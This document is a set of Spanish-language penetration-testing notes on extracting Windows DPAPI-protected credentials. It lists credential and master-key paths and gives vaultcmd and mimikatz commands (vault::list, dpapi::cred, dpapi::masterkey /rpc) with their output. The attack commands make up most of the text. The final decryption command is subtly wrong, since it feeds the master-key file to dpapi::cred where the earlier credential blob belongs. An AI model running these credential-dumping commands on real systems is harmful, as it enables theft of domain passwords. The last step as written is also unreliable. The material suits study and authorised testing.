DPAPI

Windows DPAPI (Data Protection Application Programming Interface) es una API de Windows que permite a las aplicaciones proteger datos sensibles, como contraseñas, claves criptográficas y otra información privada. DPAPI utiliza claves derivadas de las credenciales del usuario o del sistema para cifrar y descifrar datos.

Credential Manager

Estos son las rutas comunes donde se suelen almacenar la informacion protegida por DPAPI.

C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\

Ejemplo:

ls c:\Users\Administrator\AppData\Local\Microsoft\Credentials
 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 10kb     fil     02/11/2025 03:00:09   DFBE70A7E5CC19A398EBF1B96859CE5D

Herramientas internas como vaultcmd puede ser usadas.

run vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials

Credential schema: Windows Domain Password Credential
Resource: Domain:target=Testing
Identity: Administrator
Hidden: No
Roaming: No
Property (schema element id,value): (100,3)

Usando mimikatz.

mimikatz vault::list
Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
	Name       : Web Credentials
	Path       : C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
	Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
	Name       : Windows Credentials
	Path       : C:\Users\Administrator\AppData\Local\Microsoft\Vault
	Items (1)
	  0.	(null)
		Type            : {3e0e35be-1b77-43e7-b873-aed901b6275b}
		LastWritten     : 3/7/2025 3:52:29 AM
		Flags           : 00000000
		Ressource       : [STRING] Domain:target=Testing
		Identity        : [STRING] Administrator
		Authenticator   : 
		PackageSid      : 
		*Authenticator* : [BYTE*] 

		*** Domain Password ***

Decrypt Credentials

Para decifrar las credenciales es necesario tener la master encryption key. Esta se puede conseguir de la siguiente forma.

Identificamos el guidMasterKey.

mimikatz dpapi::cred /in:c:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {93576abb-7f69-4ee2-9d89-3fb62f05292c}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000030 - 48
  szDescription      : Local Credential Data

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : a3fd9abf333dbe172272c1c7036036c163389108de8da69579a031abc274ff23
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 9f50755404fc29ab6bb1c79c734cd38fba6ee1698ff3db8000fcf40ee1f67755
  dwDataLen          : 00002a70 - 10864
  pbData             : 952947f85d2792fb80c812d43fe757f2771501604d7fa75b50....<SNIP>
  dwSignLen          : 00000040 - 64
  pbSign             : fd9a049e937600a4

La informacion de la Master Key esta alamacenada en el directorio AppData\Roaming\Microsoft\Protect del usuario.

ls C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4154222470-1083007190-209201508-500
 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 468b     fil     02/11/2025 03:00:08   93576abb-7f69-4ee2-9d89-3fb62f05292c
 24b      fil     02/11/2025 03:00:08   Preferred

Como vemos en lo anterior el guidMasterKey hace match con lo que hay en el directorio anterior. Para obtener el valor realizamos lo siguiente:

mimikatz dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4154222470-1083007190-209201508-500\93576abb-7f69-4ee2-9d89-3fb62f05292c /rpc

Hora utilizamos la key para decifrar el contenido.

mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4154222470-1083007190-209201508-500\93576abb-7f69-4ee2-9d89-3fb62f05292c /masterkey:0c01648946512384....<SNIP>